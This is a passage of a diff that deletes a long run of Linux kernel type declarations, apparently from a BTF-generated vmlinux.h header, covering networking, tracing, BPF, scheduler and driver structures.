- __u64 dad_nonce; - long unsigned int cstamp; - long unsigned int tstamp; - struct delayed_work dad_work; - struct inet6_dev *idev; - struct fib6_info *rt; - struct hlist_node addr_lst; - struct list_head if_list; - struct list_head if_list_aux; - struct list_head tmp_list; - struct inet6_ifaddr *ifpub; - int regen_count; - bool tokenized; - u8 ifa_proto; - struct callback_head rcu; - struct in6_addr peer_addr; -}; - -union fwnet_hwaddr { - u8 u[16]; - struct { - __be64 uniq_id; - u8 max_rec; - u8 sspd; - u8 fifo[6]; - } uc; -}; - -struct in6_validator_info { - struct in6_addr i6vi_addr; - struct inet6_dev *i6vi_dev; - struct netlink_ext_ack *extack; -}; - -struct ifa6_config { - const struct in6_addr *pfx; - unsigned int plen; - u8 ifa_proto; - const struct in6_addr *peer_pfx; - u32 rt_priority; - u32 ifa_flags; - u32 preferred_lft; - u32 valid_lft; - u16 scope; -}; - -enum cleanup_prefix_rt_t { - CLEANUP_PREFIX_RT_NOP = 0, - CLEANUP_PREFIX_RT_DEL = 1, - CLEANUP_PREFIX_RT_EXPIRE = 2, -}; - -enum { - IPV6_SADDR_RULE_INIT = 0, - IPV6_SADDR_RULE_LOCAL = 1, - IPV6_SADDR_RULE_SCOPE = 2, - IPV6_SADDR_RULE_PREFERRED = 3, - IPV6_SADDR_RULE_HOA = 4, - IPV6_SADDR_RULE_OIF = 5, - IPV6_SADDR_RULE_LABEL = 6, - IPV6_SADDR_RULE_PRIVACY = 7, - IPV6_SADDR_RULE_ORCHID = 8, - IPV6_SADDR_RULE_PREFIX = 9, - IPV6_SADDR_RULE_MAX = 10, -}; - -struct ipv6_saddr_score { - int rule; - int addr_type; - struct inet6_ifaddr *ifa; - long unsigned int scorebits[1]; - int scopedist; - int matchlen; -}; - -struct ipv6_saddr_dst { - const struct in6_addr *addr; - int ifindex; - int scope; - int label; - unsigned int prefs; -}; - -struct if6_iter_state { - struct seq_net_private p; - int bucket; - int offset; -}; - -enum addr_type_t { - UNICAST_ADDR = 0, - MULTICAST_ADDR = 1, - ANYCAST_ADDR = 2, -}; - -struct inet6_fill_args { - u32 portid; - u32 seq; - int event; - unsigned int flags; - int netnsid; - int ifindex; - enum addr_type_t type; -}; - -enum { - DAD_PROCESS = 0, - DAD_BEGIN = 1, - DAD_ABORT = 2, -}; - -struct token_bucket { - spinlock_t lock; - int chain_len; - struct hlist_nulls_head req_chain; - struct hlist_nulls_head msk_chain; -}; - -enum cpuid_regs_idx { - CPUID_EAX = 0, - CPUID_EBX = 1, - CPUID_ECX = 2, - CPUID_EDX = 3, -}; - -enum pt_capabilities { - PT_CAP_max_subleaf = 0, - PT_CAP_cr3_filtering = 1, - PT_CAP_psb_cyc = 2, - PT_CAP_ip_filtering = 3, - PT_CAP_mtc = 4, - PT_CAP_ptwrite = 5, - PT_CAP_power_event_trace = 6, - PT_CAP_event_trace = 7, - PT_CAP_tnt_disable = 8, - PT_CAP_topa_output = 9, - PT_CAP_topa_multiple_entries = 10, - PT_CAP_single_range_output = 11, - PT_CAP_output_subsys = 12, - PT_CAP_payloads_lip = 13, - PT_CAP_num_address_ranges = 14, - PT_CAP_mtc_periods = 15, - PT_CAP_cycle_thresholds = 16, - PT_CAP_psb_periods = 17, -}; - -enum perf_addr_filter_action_t { - PERF_ADDR_FILTER_ACTION_STOP = 0, - PERF_ADDR_FILTER_ACTION_START = 1, - PERF_ADDR_FILTER_ACTION_FILTER = 2, -}; - -struct perf_addr_filter { - struct list_head entry; - struct path path; - long unsigned int offset; - long unsigned int size; - enum perf_addr_filter_action_t action; -}; - -struct topa_entry { - u64 end: 1; - u64 rsvd0: 1; - u64 intr: 1; - u64 rsvd1: 1; - u64 stop: 1; - u64 rsvd2: 1; - u64 size: 4; - u64 rsvd3: 2; - u64 base: 36; - u64 rsvd4: 16; -}; - -struct pt_pmu { - struct pmu pmu; - u32 caps[8]; - bool vmx; - bool branch_en_always_on; - long unsigned int max_nonturbo_ratio; - unsigned int tsc_art_num; - unsigned int tsc_art_den; -}; - -struct topa; - -struct pt_buffer { - struct list_head tables; - struct topa *first; - struct topa *last; - struct topa *cur; - unsigned int cur_idx; - size_t output_off; - long unsigned int nr_pages; - local_t data_size; - local64_t head; - bool snapshot; - bool single; - long int stop_pos; - long int intr_pos; - struct topa_entry *stop_te; - struct topa_entry *intr_te; - void **data_pages; -}; - -struct topa { - struct list_head list; - u64 offset; - size_t size; - int last; - unsigned int z_count; -}; - -struct pt_filter { - long unsigned int msr_a; - long unsigned int msr_b; - long unsigned int config; -}; - -struct pt_filters { - struct pt_filter filter[4]; - unsigned int nr_filters; -}; - -struct pt { - struct perf_output_handle handle; - struct pt_filters filters; - int handle_nmi; - int vmx_on; - u64 output_base; - u64 output_mask; -}; - -struct pt_cap_desc { - const char *name; - u32 leaf; - u8 reg; - u32 mask; -}; - -struct pt_address_range { - long unsigned int msr_a; - long unsigned int msr_b; - unsigned int reg_off; -}; - -struct topa_page { - struct topa_entry table[507]; - struct topa topa; -}; - -typedef struct { - seqcount_t seqcount; -} seqcount_latch_t; - -struct kmsg_dump_iter { - u64 cur_seq; - u64 next_seq; -}; - -struct kmsg_dumper { - struct list_head list; - void (*dump)(struct kmsg_dumper *, enum kmsg_dump_reason); - enum kmsg_dump_reason max_reason; - bool registered; -}; - -struct trace_event_raw_console { - struct trace_entry ent; - u32 __data_loc_msg; - char __data[0]; -}; - -struct trace_event_data_offsets_console { - u32 msg; -}; - -typedef void (*btf_trace_console)(void *, const char *, size_t); - -struct console_cmdline { - char name[16]; - int index; - bool user_specified; - char *options; -}; - -enum printk_info_flags { - LOG_NEWLINE = 2, - LOG_CONT = 8, -}; - -enum devkmsg_log_bits { - __DEVKMSG_LOG_BIT_ON = 0, - __DEVKMSG_LOG_BIT_OFF = 1, - __DEVKMSG_LOG_BIT_LOCK = 2, -}; - -enum devkmsg_log_masks { - DEVKMSG_LOG_MASK_ON = 1, - DEVKMSG_LOG_MASK_OFF = 2, - DEVKMSG_LOG_MASK_LOCK = 4, -}; - -enum con_msg_format_flags { - MSG_FORMAT_DEFAULT = 0, - MSG_FORMAT_SYSLOG = 1, -}; - -struct latched_seq { - seqcount_latch_t latch; - u64 val[2]; -}; - -struct devkmsg_user { - atomic64_t seq; - struct ratelimit_state rs; - struct mutex lock; - char buf[8192]; - struct printk_info info; - char text_buf[8192]; - struct printk_record record; -}; - -struct fprobe_rethook_node { - struct rethook_node node; - long unsigned int entry_ip; -}; - -struct bpf_queue_stack { - struct bpf_map map; - raw_spinlock_t lock; - u32 head; - u32 tail; - u32 size; - long: 0; - char elements[0]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -enum bpf_stack_build_id_status { - BPF_STACK_BUILD_ID_EMPTY = 0, - BPF_STACK_BUILD_ID_VALID = 1, - BPF_STACK_BUILD_ID_IP = 2, -}; - -struct bpf_stack_build_id { - __s32 status; - unsigned char build_id[20]; - union { - __u64 offset; - __u64 ip; - }; -}; - -enum { - BPF_F_SKIP_FIELD_MASK = 255, - BPF_F_USER_STACK = 256, - BPF_F_FAST_STACK_CMP = 512, - BPF_F_REUSE_STACKID = 1024, - BPF_F_USER_BUILD_ID = 2048, -}; - -enum perf_callchain_context { - PERF_CONTEXT_HV = 18446744073709551584ULL, - PERF_CONTEXT_KERNEL = 18446744073709551488ULL, - PERF_CONTEXT_USER = 18446744073709551104ULL, - PERF_CONTEXT_GUEST = 18446744073709549568ULL, - PERF_CONTEXT_GUEST_KERNEL = 18446744073709549440ULL, - PERF_CONTEXT_GUEST_USER = 18446744073709549056ULL, - PERF_CONTEXT_MAX = 18446744073709547521ULL, -}; - -struct stack_map_bucket { - struct pcpu_freelist_node fnode; - u32 hash; - u32 nr; - u64 data[0]; -}; - -struct bpf_stack_map { - struct bpf_map map; - void *elems; - struct pcpu_freelist freelist; - u32 n_buckets; - struct stack_map_bucket *buckets[0]; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -typedef u64 (*btf_bpf_get_stackid)(struct pt_regs *, struct bpf_map *, u64); - -typedef u64 (*btf_bpf_get_stackid_pe)(struct bpf_perf_event_data_kern *, struct bpf_map *, u64); - -typedef u64 (*btf_bpf_get_stack)(struct pt_regs *, void *, u32, u64); - -typedef u64 (*btf_bpf_get_task_stack)(struct task_struct *, void *, u32, u64); - -typedef u64 (*btf_bpf_get_stack_pe)(struct bpf_perf_event_data_kern *, void *, u32, u64); - -struct mount_attr { - __u64 attr_set; - __u64 attr_clr; - __u64 propagation; - __u64 userns_fd; -}; - -struct mount_kattr { - unsigned int attr_set; - unsigned int attr_clr; - unsigned int propagation; - unsigned int lookup_flags; - bool recurse; - struct user_namespace *mnt_userns; -}; - -enum umount_tree_flags { - UMOUNT_SYNC = 1, - UMOUNT_PROPAGATE = 2, - UMOUNT_CONNECTED = 4, -}; - -enum devcg_behavior { - DEVCG_DEFAULT_NONE = 0, - DEVCG_DEFAULT_ALLOW = 1, - DEVCG_DEFAULT_DENY = 2, -}; - -struct dev_exception_item { - u32 major; - u32 minor; - short int type; - short int access; - struct list_head list; - struct callback_head rcu; -}; - -struct dev_cgroup { - struct cgroup_subsys_state css; - struct list_head exceptions; - enum devcg_behavior behavior; -}; - -struct acpi_table_lpit { - struct acpi_table_header header; -}; - -struct acpi_lpit_header { - u32 type; - u32 length; - u16 unique_id; - u16 reserved; - u32 flags; -}; - -struct acpi_lpit_native { - struct acpi_lpit_header header; - struct acpi_generic_address entry_trigger; - u32 residency; - u32 latency; - struct acpi_generic_address residency_counter; - u64 counter_frequency; -} __attribute__((packed)); - -struct lpit_residency_info { - struct acpi_generic_address gaddr; - u64 frequency; - void *iomem_addr; -}; - -enum { - IFLA_GENEVE_UNSPEC = 0, - IFLA_GENEVE_ID = 1, - IFLA_GENEVE_REMOTE = 2, - IFLA_GENEVE_TTL = 3, - IFLA_GENEVE_TOS = 4, - IFLA_GENEVE_PORT = 5, - IFLA_GENEVE_COLLECT_METADATA = 6, - IFLA_GENEVE_REMOTE6 = 7, - IFLA_GENEVE_UDP_CSUM = 8, - IFLA_GENEVE_UDP_ZERO_CSUM6_TX = 9, - IFLA_GENEVE_UDP_ZERO_CSUM6_RX = 10, - IFLA_GENEVE_LABEL = 11, - IFLA_GENEVE_TTL_INHERIT = 12, - IFLA_GENEVE_DF = 13, - IFLA_GENEVE_INNER_PROTO_INHERIT = 14, - __IFLA_GENEVE_MAX = 15, -}; - -enum ifla_geneve_df { - GENEVE_DF_UNSET = 0, - GENEVE_DF_SET = 1, - GENEVE_DF_INHERIT = 2, - __GENEVE_DF_END = 3, - GENEVE_DF_MAX = 2, -}; - -struct udp_port_cfg { - u8 family; - union { - struct in_addr local_ip; - struct in6_addr local_ip6; - }; - union { - struct in_addr peer_ip; - struct in6_addr peer_ip6; - }; - __be16 local_udp_port; - __be16 peer_udp_port; - int bind_ifindex; - unsigned int use_udp_checksums: 1; - unsigned int use_udp6_tx_checksums: 1; - unsigned int use_udp6_rx_checksums: 1; - unsigned int ipv6_v6only: 1; -}; - -typedef int (*udp_tunnel_encap_rcv_t)(struct sock *, struct sk_buff *); - -typedef int (*udp_tunnel_encap_err_lookup_t)(struct sock *, struct sk_buff *); - -typedef void (*udp_tunnel_encap_err_rcv_t)(struct sock *, struct sk_buff *, int, __be16, u32, u8 *); - -typedef void (*udp_tunnel_encap_destroy_t)(struct sock *); - -typedef struct sk_buff * (*udp_tunnel_gro_receive_t)(struct sock *, struct list_head *, struct sk_buff *); - -typedef int (*udp_tunnel_gro_complete_t)(struct sock *, struct sk_buff *, int); - -struct udp_tunnel_sock_cfg { - void *sk_user_data; - __u8 encap_type; - udp_tunnel_encap_rcv_t encap_rcv; - udp_tunnel_encap_err_lookup_t encap_err_lookup; - udp_tunnel_encap_err_rcv_t encap_err_rcv; - udp_tunnel_encap_destroy_t encap_destroy; - udp_tunnel_gro_receive_t gro_receive; - udp_tunnel_gro_complete_t gro_complete; -}; - -struct genevehdr { - u8 opt_len: 6; - u8 ver: 2; - u8 rsvd1: 6; - u8 critical: 1; - u8 oam: 1; - __be16 proto_type; - u8 vni[3]; - u8 rsvd2; - u8 options[0]; -}; - -typedef struct sk_buff * (*gro_receive_t)(struct list_head *, struct sk_buff *); - -struct geneve_net { - struct list_head geneve_list; - struct list_head sock_list; -}; - -struct geneve_dev; - -struct geneve_dev_node { - struct hlist_node hlist; - struct geneve_dev *geneve; -}; - -struct geneve_config { - struct ip_tunnel_info info; - bool collect_md; - bool use_udp6_rx_checksums; - bool ttl_inherit; - enum ifla_geneve_df df; - bool inner_proto_inherit; -}; - -struct geneve_sock; - -struct geneve_dev { - struct geneve_dev_node hlist4; - struct geneve_dev_node hlist6; - struct net *net; - struct net_device *dev; - struct geneve_sock *sock4; - struct geneve_sock *sock6; - struct list_head next; - struct gro_cells gro_cells; - struct geneve_config cfg; -}; - -struct geneve_sock { - bool collect_md; - struct list_head list; - struct socket *sock; - struct callback_head rcu; - int refcnt; - struct hlist_head vni_list[1024]; -}; - -struct tc_action_net { - struct tcf_idrinfo *idrinfo; - const struct tc_action_ops *ops; -}; - -struct tc_act_bpf { - __u32 index; - __u32 capab; - int action; - int refcnt; - int bindcnt; -}; - -enum { - TCA_ACT_BPF_UNSPEC = 0, - TCA_ACT_BPF_TM = 1, - TCA_ACT_BPF_PARMS = 2, - TCA_ACT_BPF_OPS_LEN = 3, - TCA_ACT_BPF_OPS = 4, - TCA_ACT_BPF_FD = 5, - TCA_ACT_BPF_NAME = 6, - TCA_ACT_BPF_PAD = 7, - TCA_ACT_BPF_TAG = 8, - TCA_ACT_BPF_ID = 9, - __TCA_ACT_BPF_MAX = 10, -}; - -struct tcf_bpf { - struct tc_action common; - struct bpf_prog *filter; - union { - u32 bpf_fd; - u16 bpf_num_ops; - }; - struct sock_filter *bpf_ops; - const char *bpf_name; -}; - -struct tcf_bpf_cfg { - struct bpf_prog *filter; - struct sock_filter *bpf_ops; - const char *bpf_name; - u16 bpf_num_ops; - bool is_ebpf; -}; - -enum nf_ct_helper_flags { - NF_CT_HELPER_F_USERSPACE = 1, - NF_CT_HELPER_F_CONFIGURED = 2, -}; - -struct nf_ct_helper_expectfn { - struct list_head head; - const char *name; - void (*expectfn)(struct nf_conn *, struct nf_conntrack_expect *); -}; - -struct nf_conntrack_nat_helper { - struct list_head list; - char mod_name[16]; - struct module *module; -}; - -struct fib_result { - __be32 prefix; - unsigned char prefixlen; - unsigned char nh_sel; - unsigned char type; - unsigned char scope; - u32 tclassid; - struct fib_nh_common *nhc; - struct fib_info *fi; - struct fib_table *table; - struct hlist_head *fa_head; -}; - -struct fib4_rule { - struct fib_rule common; - u8 dst_len; - u8 src_len; - dscp_t dscp; - __be32 src; - __be32 srcmask; - __be32 dst; - __be32 dstmask; -}; - -struct xfrm_algo_list { - struct xfrm_algo_desc *algs; - int entries; - u32 type; - u32 mask; -}; - -struct xfrm_aead_name { - const char *name; - int icvbits; -}; - -struct rt2_hdr { - struct ipv6_rt_hdr rt_hdr; - __u32 reserved; - struct in6_addr addr; -}; - -struct ipv6_destopt_hao { - __u8 type; - __u8 length; - struct in6_addr addr; -} __attribute__((packed)); - -struct ip6_mh { - __u8 ip6mh_proto; - __u8 ip6mh_hdrlen; - __u8 ip6mh_type; - __u8 ip6mh_reserved; - __u16 ip6mh_cksum; - __u8 data[0]; -}; - -struct mip6_report_rate_limiter { - spinlock_t lock; - ktime_t stamp; - int iif; - struct in6_addr src; - struct in6_addr dst; -}; - -enum mmio_type { - MMIO_DECODE_FAILED = 0, - MMIO_WRITE = 1, - MMIO_WRITE_IMM = 2, - MMIO_READ = 3, - MMIO_READ_ZERO_EXTEND = 4, - MMIO_READ_SIGN_EXTEND = 5, - MMIO_MOVS = 6, -}; - -enum reg_type { - REG_TYPE_RM = 0, - REG_TYPE_REG = 1, - REG_TYPE_INDEX = 2, - REG_TYPE_BASE = 3, -}; - -struct pci_extra_dev { - struct pci_dev *dev[4]; -}; - -struct intel_uncore_pmu; - -struct intel_uncore_ops; - -struct uncore_event_desc; - -struct freerunning_counters; - -struct intel_uncore_topology; - -struct intel_uncore_type { - const char *name; - int num_counters; - int num_boxes; - int perf_ctr_bits; - int fixed_ctr_bits; - int num_freerunning_types; - int type_id; - unsigned int perf_ctr; - unsigned int event_ctl; - unsigned int event_mask; - unsigned int event_mask_ext; - unsigned int fixed_ctr; - unsigned int fixed_ctl; - unsigned int box_ctl; - u64 *box_ctls; - union { - unsigned int msr_offset; - unsigned int mmio_offset; - }; - unsigned int mmio_map_size; - unsigned int num_shared_regs: 8; - unsigned int single_fixed: 1; - unsigned int pair_ctr_ctl: 1; - union { - unsigned int *msr_offsets; - unsigned int *pci_offsets; - unsigned int *mmio_offsets; - }; - unsigned int *box_ids; - struct event_constraint unconstrainted; - struct event_constraint *constraints; - struct intel_uncore_pmu *pmus; - struct intel_uncore_ops *ops; - struct uncore_event_desc *event_descs; - struct freerunning_counters *freerunning; - const struct attribute_group *attr_groups[4]; - const struct attribute_group **attr_update; - struct pmu *pmu; - struct intel_uncore_topology *topology; - int (*get_topology)(struct intel_uncore_type *); - int (*set_mapping)(struct intel_uncore_type *); - void (*cleanup_mapping)(struct intel_uncore_type *); -}; - -struct intel_uncore_box; - -struct intel_uncore_pmu { - struct pmu pmu; - char name[32]; - int pmu_idx; - int func_id; - bool registered; - atomic_t activeboxes; - struct intel_uncore_type *type; - struct intel_uncore_box **boxes; -}; - -struct intel_uncore_ops { - void (*init_box)(struct intel_uncore_box *); - void (*exit_box)(struct intel_uncore_box *); - void (*disable_box)(struct intel_uncore_box *); - void (*enable_box)(struct intel_uncore_box *); - void (*disable_event)(struct intel_uncore_box *, struct perf_event *); - void (*enable_event)(struct intel_uncore_box *, struct perf_event *); - u64 (*read_counter)(struct intel_uncore_box *, struct perf_event *); - int (*hw_config)(struct intel_uncore_box *, struct perf_event *); - struct event_constraint * (*get_constraint)(struct intel_uncore_box *, struct perf_event *); - void (*put_constraint)(struct intel_uncore_box *, struct perf_event *); -}; - -struct uncore_event_desc { - struct device_attribute attr; - const char *config; -}; - -struct freerunning_counters { - unsigned int counter_base; - unsigned int counter_offset; - unsigned int box_offset; - unsigned int num_counters; - unsigned int bits; - unsigned int *box_offsets; -}; - -struct intel_uncore_topology { - u64 configuration; - int segment; -}; - -struct intel_uncore_extra_reg { - raw_spinlock_t lock; - u64 config; - u64 config1; - u64 config2; - atomic_t ref; -}; - -struct intel_uncore_box { - int dieid; - int n_active; - int n_events; - int cpu; - long unsigned int flags; - atomic_t refcnt; - struct perf_event *events[10]; - struct perf_event *event_list[10]; - struct event_constraint *event_constraint[10]; - long unsigned int active_mask[1]; - u64 tags[10]; - struct pci_dev *pci_dev; - struct intel_uncore_pmu *pmu; - u64 hrtimer_duration; - struct hrtimer hrtimer; - struct list_head list; - struct list_head active_list; - void *io_addr; - struct intel_uncore_extra_reg shared_regs[0]; -}; - -struct pci2phy_map { - struct list_head list; - int segment; - int pbus_to_dieid[256]; -}; - -struct intel_uncore_init_fun { - void (*cpu_init)(); - int (*pci_init)(); - void (*mmio_init)(); - bool use_discovery; -}; - -enum { - MEMBARRIER_FLAG_SYNC_CORE = 1, - MEMBARRIER_FLAG_RSEQ = 2, -}; - -struct sd_flag_debug { - unsigned int meta_flags; - char *name; -}; - -enum membarrier_cmd { - MEMBARRIER_CMD_QUERY = 0, - MEMBARRIER_CMD_GLOBAL = 1, - MEMBARRIER_CMD_GLOBAL_EXPEDITED = 2, - MEMBARRIER_CMD_REGISTER_GLOBAL_EXPEDITED = 4, - MEMBARRIER_CMD_PRIVATE_EXPEDITED = 8, - MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED = 16, - MEMBARRIER_CMD_PRIVATE_EXPEDITED_SYNC_CORE = 32, - MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_SYNC_CORE = 64, - MEMBARRIER_CMD_PRIVATE_EXPEDITED_RSEQ = 128, - MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_RSEQ = 256, - MEMBARRIER_CMD_SHARED = 1, -}; - -enum membarrier_cmd_flag { - MEMBARRIER_CMD_FLAG_CPU = 1, -}; - -enum sched_tunable_scaling { - SCHED_TUNABLESCALING_NONE = 0, - SCHED_TUNABLESCALING_LOG = 1, - SCHED_TUNABLESCALING_LINEAR = 2, - SCHED_TUNABLESCALING_END = 3, -}; - -enum numa_topology_type { - NUMA_DIRECT = 0, - NUMA_GLUELESS_MESH = 1, - NUMA_BACKPLANE = 2, -}; - -struct sched_clock_data { - u64 tick_raw; - u64 tick_gtod; - u64 clock; -}; - -enum cpuacct_stat_index { - CPUACCT_STAT_USER = 0, - CPUACCT_STAT_SYSTEM = 1, - CPUACCT_STAT_NSTATS = 2, -}; - -struct cpuacct { - struct cgroup_subsys_state css; - u64 *cpuusage; - struct kernel_cpustat *cpustat; -}; - -struct sugov_tunables { - struct gov_attr_set attr_set; - unsigned int rate_limit_us; -}; - -struct sugov_policy { - struct cpufreq_policy *policy; - struct sugov_tunables *tunables; - struct list_head tunables_hook; - raw_spinlock_t update_lock; - u64 last_freq_update_time; - s64 freq_update_delay_ns; - unsigned int next_freq; - unsigned int cached_raw_freq; - struct irq_work irq_work; - struct kthread_work work; - struct mutex work_lock; - struct kthread_worker worker; - struct task_struct *thread; - bool work_in_progress; - bool limits_changed; - bool need_freq_update; -}; - -struct sugov_cpu { - struct update_util_data update_util; - struct sugov_policy *sg_policy; - unsigned int cpu; - bool iowait_boost_pending; - unsigned int iowait_boost; - u64 last_update; - long unsigned int util; - long unsigned int bw_dl; - long unsigned int max; - long unsigned int saved_idle_calls; -}; - -struct s_data { - struct sched_domain **sd; - struct root_domain *rd; -}; - -enum s_alloc { - sa_rootdomain = 0, - sa_sd = 1, - sa_sd_storage = 2, - sa_none = 3, -}; - -struct asym_cap_data { - struct list_head link; - long unsigned int capacity; - long unsigned int cpus[0]; -}; - -enum hk_flags { - HK_FLAG_TIMER = 1, - HK_FLAG_RCU = 2, - HK_FLAG_MISC = 4, - HK_FLAG_SCHED = 8, - HK_FLAG_TICK = 16, - HK_FLAG_DOMAIN = 32, - HK_FLAG_WQ = 64, - HK_FLAG_MANAGED_IRQ = 128, - HK_FLAG_KTHREAD = 256, -}; - -struct housekeeping { - struct cpumask cpumasks[9]; - long unsigned int flags; -}; - -struct mpage_readpage_args { - struct bio *bio; - struct folio *folio; - unsigned int nr_pages; - bool is_readahead; - sector_t last_block_in_bio; - struct buffer_head map_bh; - long unsigned int first_logical_block; - get_block_t *get_block; -}; - -struct mpage_data { - struct bio *bio; - sector_t last_block_in_bio; - get_block_t *get_block; -}; - -typedef struct dentry *instantiate_t(struct dentry *, struct task_struct *, const void *); - -struct xattr; - -typedef int (*initxattrs)(struct inode *, const struct xattr *, void *); - -struct xattr { - const char *name; - void *value; - size_t value_len; -}; - -enum { - SUN_WHOLE_DISK = 5, - LINUX_RAID_PARTITION___2 = 253, -}; - -struct sun_info { - __be16 id; - __be16 flags; -}; - -struct sun_vtoc { - __be32 version; - char volume[8]; - __be16 nparts; - struct sun_info infos[8]; - __be16 padding; - __be32 bootinfo[3]; - __be32 sanity; - __be32 reserved[10]; - __be32 timestamp[8]; -}; - -struct sun_partition { - __be32 start_cylinder; - __be32 num_sectors; -}; - -struct sun_disklabel { - unsigned char info[128]; - struct sun_vtoc vtoc; - __be32 write_reinstruct; - __be32 read_reinstruct; - unsigned char spare[148]; - __be16 rspeed; - __be16 pcylcount; - __be16 sparecyl; - __be16 obs1; - __be16 obs2; - __be16 ilfact; - __be16 ncyl; - __be16 nacyl; - __be16 ntrks; - __be16 nsect; - __be16 obs3; - __be16 obs4; - struct sun_partition partitions[8]; - __be16 magic; - __be16 csum; -}; - -enum tpm2_startup_types { - TPM2_SU_CLEAR = 0, - TPM2_SU_STATE = 1, -}; - -struct dma_fence_array_cb { - struct dma_fence_cb cb; - struct dma_fence_array *array; -}; - -struct ml_effect_state { - struct ff_effect *effect; - long unsigned int flags; - int count; - long unsigned int play_at; - long unsigned int stop_at; - long unsigned int adj_at; -}; - -struct ml_device { - void *private; - struct ml_effect_state states[16]; - int gain; - struct timer_list timer; - struct input_dev *dev; - int (*play_effect)(struct input_dev *, void *, struct ff_effect *); -}; - -struct cpufreq_stats { - unsigned int total_trans; - long long unsigned int last_time; - unsigned int max_state; - unsigned int state_num; - unsigned int last_index; - u64 *time_in_state; - unsigned int *freq_table; - unsigned int *trans_table; - unsigned int reset_pending; - long long unsigned int reset_time; -}; - -struct crypto_engine_op { - int (*prepare_request)(struct crypto_engine *, void *); - int (*unprepare_request)(struct crypto_engine *, void *); - int (*do_one_request)(struct crypto_engine *, void *); -}; - -struct crypto_engine_ctx { - struct crypto_engine_op op; -}; - -struct virtio_crypto_sym_session_info { - __u64 session_id; -}; - -struct virtio_crypto_skcipher_ctx { - struct crypto_engine_ctx enginectx; - struct virtio_crypto *vcrypto; - struct crypto_skcipher *tfm; - struct virtio_crypto_sym_session_info enc_sess_info; - struct virtio_crypto_sym_session_info dec_sess_info; -}; - -struct virtio_crypto_sym_request { - struct virtio_crypto_request base; - uint32_t type; - struct virtio_crypto_skcipher_ctx *skcipher_ctx; - struct skcipher_request *skcipher_req; - uint8_t *iv; - bool encrypt; -}; - -struct virtio_crypto_algo { - uint32_t algonum; - uint32_t service; - unsigned int active_devs; - struct skcipher_alg algo; -}; - -enum { - ETHTOOL_UDP_TUNNEL_TYPE_VXLAN = 0, - ETHTOOL_UDP_TUNNEL_TYPE_GENEVE = 1, - ETHTOOL_UDP_TUNNEL_TYPE_VXLAN_GPE = 2, - __ETHTOOL_UDP_TUNNEL_TYPE_CNT = 3, -}; - -enum { - ETHTOOL_A_TUNNEL_UDP_UNSPEC = 0, - ETHTOOL_A_TUNNEL_UDP_TABLE = 1, - __ETHTOOL_A_TUNNEL_UDP_CNT = 2, - ETHTOOL_A_TUNNEL_UDP_MAX = 1, -}; - -struct genl_dumpit_info { - const struct genl_family *family; - struct genl_split_ops op; - struct nlattr **attrs; -}; - -struct ethnl_tunnel_info_dump_ctx { - struct ethnl_req_info req_info; - int pos_hash; - int pos_idx; -}; - -enum audit_nfcfgop { - AUDIT_XT_OP_REGISTER = 0, - AUDIT_XT_OP_REPLACE = 1, - AUDIT_XT_OP_UNREGISTER = 2, - AUDIT_NFT_OP_TABLE_REGISTER = 3, - AUDIT_NFT_OP_TABLE_UNREGISTER = 4, - AUDIT_NFT_OP_CHAIN_REGISTER = 5, - AUDIT_NFT_OP_CHAIN_UNREGISTER = 6, - AUDIT_NFT_OP_RULE_REGISTER = 7, - AUDIT_NFT_OP_RULE_UNREGISTER = 8, - AUDIT_NFT_OP_SET_REGISTER = 9, - AUDIT_NFT_OP_SET_UNREGISTER = 10, - AUDIT_NFT_OP_SETELEM_REGISTER = 11, - AUDIT_NFT_OP_SETELEM_UNREGISTER = 12, - AUDIT_NFT_OP_GEN_REGISTER = 13, - AUDIT_NFT_OP_OBJ_REGISTER = 14, - AUDIT_NFT_OP_OBJ_UNREGISTER = 15, - AUDIT_NFT_OP_OBJ_RESET = 16, - AUDIT_NFT_OP_FLOWTABLE_REGISTER = 17, - AUDIT_NFT_OP_FLOWTABLE_UNREGISTER = 18, - AUDIT_NFT_OP_INVALID = 19, -}; - -struct xt_template { - struct list_head list; - int (*table_init)(struct net *); - struct module *me; - char name[32]; -}; - -struct xt_pernet { - struct list_head tables[11]; -}; - -struct xt_af { - struct mutex mutex; - struct list_head match; - struct list_head target; -}; - -struct nf_mttg_trav { - struct list_head *head; - struct list_head *curr; - uint8_t class; -}; - -enum { - MTTG_TRAV_INIT = 0, - MTTG_TRAV_NFP_UNSPEC = 1, - MTTG_TRAV_NFP_SPEC = 2, - MTTG_TRAV_DONE = 3, -}; - -struct trace_event_raw_tls_device_offload_set { - struct trace_entry ent; - struct sock *sk; - u64 rec_no; - int dir; - u32 tcp_seq; - int ret; - char __data[0]; -}; - -struct trace_event_raw_tls_device_decrypted { - struct trace_entry ent; - struct sock *sk; - u64 rec_no; - u32 tcp_seq; - u32 rec_len; - bool encrypted; - bool decrypted; - char __data[0]; -}; - -struct trace_event_raw_tls_device_rx_resync_send { - struct trace_entry ent; - struct sock *sk; - u64 rec_no; - u32 tcp_seq; - int sync_type; - char __data[0]; -}; - -struct trace_event_raw_tls_device_rx_resync_nh_schedule { - struct trace_entry ent; - struct sock *sk; - char __data[0]; -}; - -struct trace_event_raw_tls_device_rx_resync_nh_delay { - struct trace_entry ent; - struct sock *sk; - u32 sock_data; - u32 rec_len; - char __data[0]; -}; - -struct trace_event_raw_tls_device_tx_resync_req { - struct trace_entry ent; - struct sock *sk; - u32 tcp_seq; - u32 exp_tcp_seq; - char __data[0]; -}; - -struct trace_event_raw_tls_device_tx_resync_send { - struct trace_entry ent; - struct sock *sk; - u64 rec_no; - u32 tcp_seq; - char __data[0]; -}; - -struct trace_event_data_offsets_tls_device_offload_set {}; - -struct trace_event_data_offsets_tls_device_decrypted {}; - -struct trace_event_data_offsets_tls_device_rx_resync_send {}; - -struct trace_event_data_offsets_tls_device_rx_resync_nh_schedule {}; - -struct trace_event_data_offsets_tls_device_rx_resync_nh_delay {}; - -struct trace_event_data_offsets_tls_device_tx_resync_req {}; - -struct trace_event_data_offsets_tls_device_tx_resync_send {}; - -typedef void (*btf_trace_tls_device_offload_set)(void *, struct sock *, int, u32, u8 *, int); - -typedef void (*btf_trace_tls_device_decrypted)(void *, struct sock *, u32, u8 *, u32, bool, bool); - -typedef void (*btf_trace_tls_device_rx_resync_send)(void *, struct sock *, u32, u8 *, int); - -typedef void (*btf_trace_tls_device_rx_resync_nh_schedule)(void *, struct sock *); - -typedef void 